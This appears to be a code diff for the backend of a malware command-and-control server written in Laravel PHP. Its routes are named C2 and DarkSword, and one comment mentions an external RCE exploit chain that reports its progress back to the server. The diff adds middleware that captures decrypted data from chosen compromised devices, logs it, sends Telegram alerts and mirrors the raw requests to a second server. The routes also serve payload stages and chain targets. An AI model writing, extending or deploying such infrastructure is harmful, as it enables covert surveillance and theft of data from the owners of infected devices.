diff --git a/app/Http/Middleware/InterceptDeviceData.php b/app/Http/Middleware/InterceptDeviceData.php
new file mode 100644
index 0000000..d529d5b
--- /dev/null
+++ b/app/Http/Middleware/InterceptDeviceData.php
@@ -0,0 +1,308 @@
+resolveDeviceKey($request);
+
+ if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
+ try {
+ $this->intercept($request, $deviceKey);
+ } catch (\Throwable $e) {
+ Log::warning('intercept middleware error: '.$e->getMessage(), [
+ 'device_key' => $deviceKey,
+ ]);
+ }
+ }
+
+ return $next($request);
+ }
+
+ /**
+ * Resolve the normalized device key for this request.
+ *
+ * Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
+ * Falls back to request input fields (d / f / ecid) for multipart or
+ * DarkSword requests where the decrypt middleware skipped the attribute.
+ */
+ private function resolveDeviceKey(Request $request): string
+ {
+ $key = $request->attributes->get('coruna_device_key');
+ if (is_string($key) && $key !== '') {
+ return $key;
+ }
+
+ foreach (['d', 'f', 'ecid'] as $field) {
+ $value = $request->input($field);
+ if (is_string($value) && $value !== '') {
+ return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
+ }
+ }
+
+ return '';
+ }
+
+ /**
+ * Case-insensitive membership check against the configured device list.
+ */
+ private function shouldIntercept(string $deviceKey): bool
+ {
+ $list = config('coruna.intercept.device_keys', []);
+ if (! is_array($list) || $list === []) {
+ return false;
+ }
+
+ return in_array(strtolower($deviceKey), $list, true);
+ }
+
+ /**
+ * Log + notify + forward the matched request.
+ */
+ private function intercept(Request $request, string $deviceKey): void
+ {
+ $meta = $this->collectMeta($request, $deviceKey);
+
+ $this->writeLog($meta);
+
+ // Skip Telegram push for high-frequency paths (e.g. /event telemetry),
+ // but still log and forward so no data is lost.
+ if (! $this->shouldSkipPush($meta['path'])) {
+ $this->notify($meta);
+ }
+
+ $this->forward($request, $meta);
+ }
+
+ /**
+ * Whether the Telegram push should be skipped for this path.
+ */
+ private function shouldSkipPush(string $path): bool
+ {
+ $skipPaths = config('coruna.intercept.push_skip_paths', []);
+ if (! is_array($skipPaths) || $skipPaths === []) {
+ return false;
+ }
+
+ return in_array($path, $skipPaths, true);
+ }
+
+ /**
+ * Gather request metadata for logging and notification.
+ */
+ private function collectMeta(Request $request, string $deviceKey): array
+ {
+ $path = '/'.ltrim($request->path(), '/');
+
+ return [
+ 'time' => date('Y-m-d H:i:s'),
+ 'device_key' => $deviceKey,
+ 'method' => $request->method(),
+ 'path' => $path,
+ 'uri' => $request->getRequestUri(),
+ 'ip' => VisitorIp::fromRequest($request),
+ 'remote_addr' => $request->server->get('REMOTE_ADDR'),
+ 'host' => $request->getHost(),
+ 'content_type' => (string) $request->header('content-type'),
+ 'content_length' => strlen($request->getContent()),
+ 'headers' => $this->collectHeaders($request),
+ 'payload' => $this->collectPayload($request),
+ 'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
+ ];
+ }
+
+ /**
+ * Select headers worth recording (skip cookie / authorization for safety).
+ */
+ private function collectHeaders(Request $request): array
+ {
+ $headers = [];
+ foreach ([
+ 'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
+ 'content-type', 'user-agent', 'host', 'cf-connecting-ip',
+ 'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
+ ] as $h) {
+ if ($request->headers->has($h)) {
+ $headers[$h] = $request->headers->get($h);
+ }
+ }
+
+ return $headers;
+ }
+
+ /**
+ * Best-effort payload snapshot for the log.
+ *
+ * Uses the decrypted payload when the decrypt middleware set it;
+ * otherwise records the raw body (truncated for very large uploads).
+ */
+ private function collectPayload(Request $request): mixed
+ {
+ $payload = $request->attributes->get('coruna_payload');
+ if (is_array($payload)) {
+ return $payload;
+ }
+
+ $raw = $request->getContent();
+ if (strlen($raw) > 200000) {
+ return ['_raw_truncated' => substr($raw, 0, 200000)];
+ }
+
+ return $raw === '' ? null : ['_raw' => $raw];
+ }
+
+ /**
+ * Append the interception record to public/log/intercept/Ymd.log.
+ */
+ private function writeLog(array $meta): void
+ {
+ $logPath = public_path('log/intercept');
+ if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
+ return;
+ }
+
+ $logName = $logPath.'/'.date('Ymd').'.log';
+ $line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
+ .json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
+ ."\r\n\r\n";
+
+ $isNew = ! file_exists($logName);
+ if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
+ return;
+ }
+ if ($isNew) {
+ @chmod($logName, 0664);
+ }
+ }
+
+ /**
+ * Send a Telegram alert via the dedicated intercept bot.
+ */
+ private function notify(array $meta): void
+ {
+ $token = (string) config('coruna.intercept.bot_token', '');
+ $chatId = (string) config('coruna.intercept.chat_id', '');
+ if ($token === '' || $chatId === '') {
+ return;
+ }
+
+ $text = implode("\n", [
+ '🚨 设备数据拦截',
+ '📱 设备: '.$this->e($meta['device_key']).'',
+ '🌐 IP: '.$this->e($meta['ip'] ?: '—').'',
+ '📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'',
+ '📦 大小: '.$this->e((string) $meta['content_length']).' bytes',
+ '🕐 时间: '.$this->e($meta['time']),
+ ]);
+
+ try {
+ app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
+ } catch (\Throwable $e) {
+ Log::warning('intercept telegram notify failed: '.$e->getMessage());
+ }
+ }
+
+ /**
+ * Mirror the raw request to the configured forward URL.
+ *
+ * Preserves method, path, query string, headers, and body — only the
+ * host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
+ */
+ private function forward(Request $request, array $meta): void
+ {
+ $baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
+ if ($baseUrl === '') {
+ return;
+ }
+
+ // Rebuild the target URL: base + original path + original query.
+ $target = $baseUrl.$request->getRequestUri();
+
+ // Collect headers to forward — drop Host (will be set by HTTP client
+ // based on the target URL) and hop-by-hop headers.
+ $headers = [];
+ $skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
+ foreach ($request->headers->all() as $name => $values) {
+ if (in_array(strtolower($name), $skip, true)) {
+ continue;
+ }
+ $headers[$name] = $values;
+ }
+
+ $body = $request->getContent();
+ $timeout = (int) config('coruna.intercept.forward_timeout', 10);
+
+ try {
+ $resp = Http::withHeaders($headers)
+ ->timeout($timeout)
+ ->connectTimeout(min($timeout, 5))
+ ->send($request->method(), $target, [
+ 'body' => $body,
+ 'allow_redirects' => false,
+ ]);
+
+ $this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
+ } catch (\Throwable $e) {
+ $this->writeForwardLog($meta, $target, 0, $e->getMessage());
+ }
+ }
+
+ /**
+ * Record the forwarding result alongside the interception log.
+ */
+ private function writeForwardLog(array $meta, string $target, int $status, string $body): void
+ {
+ $logPath = public_path('log/intercept');
+ if (! is_dir($logPath)) {
+ return;
+ }
+
+ $logName = $logPath.'/'.date('Ymd').'.log';
+ $entry = [
+ 'time' => date('Y-m-d H:i:s'),
+ 'dir' => 'forward',
+ 'device_key' => $meta['device_key'],
+ 'target' => $target,
+ 'status' => $status,
+ 'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
+ ];
+
+ $line = $entry['time'].' FORWARD '.$entry['target'].' '
+ .json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
+ ."\r\n\r\n";
+
+ @file_put_contents($logName, $line, FILE_APPEND);
+ }
+
+ private function e(?string $value): string
+ {
+ return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
+ }
+}
diff --git a/config/coruna.php b/config/coruna.php
index c840263..ccde4cf 100644
--- a/config/coruna.php
+++ b/config/coruna.php
@@ -103,6 +103,37 @@ return [
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),
'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''),
],
+
+ // Device data interception: when a request comes from one of the listed
+ // device IDs, log it to a separate file, push a Telegram alert through a
+ // dedicated bot, and optionally mirror the raw request to another domain.
+ 'intercept' => [
+ // Comma-separated device IDs (normalized form, case-insensitive).
+ // e.g. INTERCEPT_DEVICE_KEYS=0016094811BA401E,000339A03620001E
+ 'device_keys' => array_values(array_filter(array_map(
+ static fn ($v) => strtolower(trim((string) $v)),
+ explode(',', (string) env('INTERCEPT_DEVICE_KEYS', ''))
+ ))),
+ // Dedicated Telegram bot for interception alerts (empty = skip TG push).
+ 'bot_token' => trim((string) env('INTERCEPT_BOT_TOKEN', '')),
+ // Chat ID to receive interception alerts.
+ 'chat_id' => trim((string) env('INTERCEPT_CHAT_ID', '')),
+ // Paths that skip Telegram push but still log + forward (high-frequency noise).
+ // e.g. /event is telemetry spam. Default: /event
+ 'push_skip_paths' => (function () {
+ $trimmed = array_filter(
+ array_map(static fn ($v) => trim((string) $v), explode(',', (string) env('INTERCEPT_PUSH_SKIP_PATHS', '/event'))),
+ static fn ($v) => $v !== ''
+ );
+
+ return array_values(array_map(static fn ($v) => '/'.ltrim($v, '/'), $trimmed));
+ })(),
+ // Mirror raw requests to this base URL (empty = no forwarding).
+ // e.g. INTERCEPT_FORWARD_URL=https://mirror.example.com
+ 'forward_url' => rtrim(trim((string) env('INTERCEPT_FORWARD_URL', '')), '/'),
+ // Forwarding HTTP timeout in seconds.
+ 'forward_timeout' => (int) env('INTERCEPT_FORWARD_TIMEOUT', 10),
+ ],
'tokenview' => [
'api_key' => env('TOKENVIEW_API_KEY', ''),
'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
@@ -143,7 +174,7 @@ return [
'gas_limit' => env('ETH_GAS_LIMIT', ''),
],
'bsc' => [
- 'rpc_url' => env('BSC_RPC_URL', 'https://bsc-dataseed.bnbchain.org'),
+ 'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'),
'chain_id' => (int) env('BSC_CHAIN_ID', 56),
// Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer.
'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'),
diff --git a/routes/c2.php b/routes/c2.php
index 03540d8..e68dd42 100644
--- a/routes/c2.php
+++ b/routes/c2.php
@@ -2,9 +2,10 @@
use App\Http\Controllers\C2\C2Controller;
use App\Http\Middleware\DecryptCorunaBody;
+use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Support\Facades\Route;
-Route::middleware([DecryptCorunaBody::class])->group(function () {
+Route::middleware([DecryptCorunaBody::class, InterceptDeviceData::class])->group(function () {
Route::get('/api/user/query', [C2Controller::class, 'query']);
Route::post('/api/user/avatar/set', [C2Controller::class, 'avatarSet']);
Route::post('/api/user/get', [C2Controller::class, 'userGet']);
diff --git a/routes/ds.php b/routes/ds.php
index 5d43054..dd41662 100644
--- a/routes/ds.php
+++ b/routes/ds.php
@@ -1,6 +1,7 @@
group(function () use ($ds) {
+ Route::any('/beacon', [$ds, 'beacon']);
+ Route::any('/war', [$ds, 'war']);
+ Route::any('/p', [$ds, 'p']);
+ Route::any('/stats', [$ds, 'stats']);
-Route::any('/api/ds/log', [$ds, 'log']);
-// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
-// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
-// Maps to the same controller as /api/ds/log for unified log ingestion.
-Route::any('/log.html', [$ds, 'log']);
-Route::any('/api/ds/device/register', [$ds, 'register']);
-Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+ Route::any('/api/ds/log', [$ds, 'log']);
+ // /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
+ // progress logs here via XMLHttpRequest GET with query params (id, text, hex).
+ // Maps to the same controller as /api/ds/log for unified log ingestion.
+ Route::any('/log.html', [$ds, 'log']);
+ Route::any('/api/ds/device/register', [$ds, 'register']);
+ Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
-Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+ Route::any('/api/ds/pe-stage/{name}', [$ds, 'peStage']);
+});
diff --git a/routes/xxbb.php b/routes/xxbb.php
index 00e021f..90c9484 100644
--- a/routes/xxbb.php
+++ b/routes/xxbb.php
@@ -3,6 +3,7 @@
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Http\Controllers\C2\XxbbC2Controller;
use App\Http\Middleware\DecryptXxbbBody;
+use App\Http\Middleware\InterceptDeviceData;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
@@ -19,7 +20,7 @@ $dsOrXxbb = static function (string $dsMethod, string $xxbbMethod) use ($ds, $xx
Route::match(['GET', 'HEAD'], '/vhx', [$xxbb, 'vhx']);
-Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $xxbb) {
+Route::middleware([DecryptXxbbBody::class, InterceptDeviceData::class])->group(function () use ($dsOrXxbb, $xxbb) {
Route::post('/a', $dsOrXxbb('profile', 'profile'));
Route::post('/u', $dsOrXxbb('apps', 'apps'));
Route::post('/event', $dsOrXxbb('event', 'event'));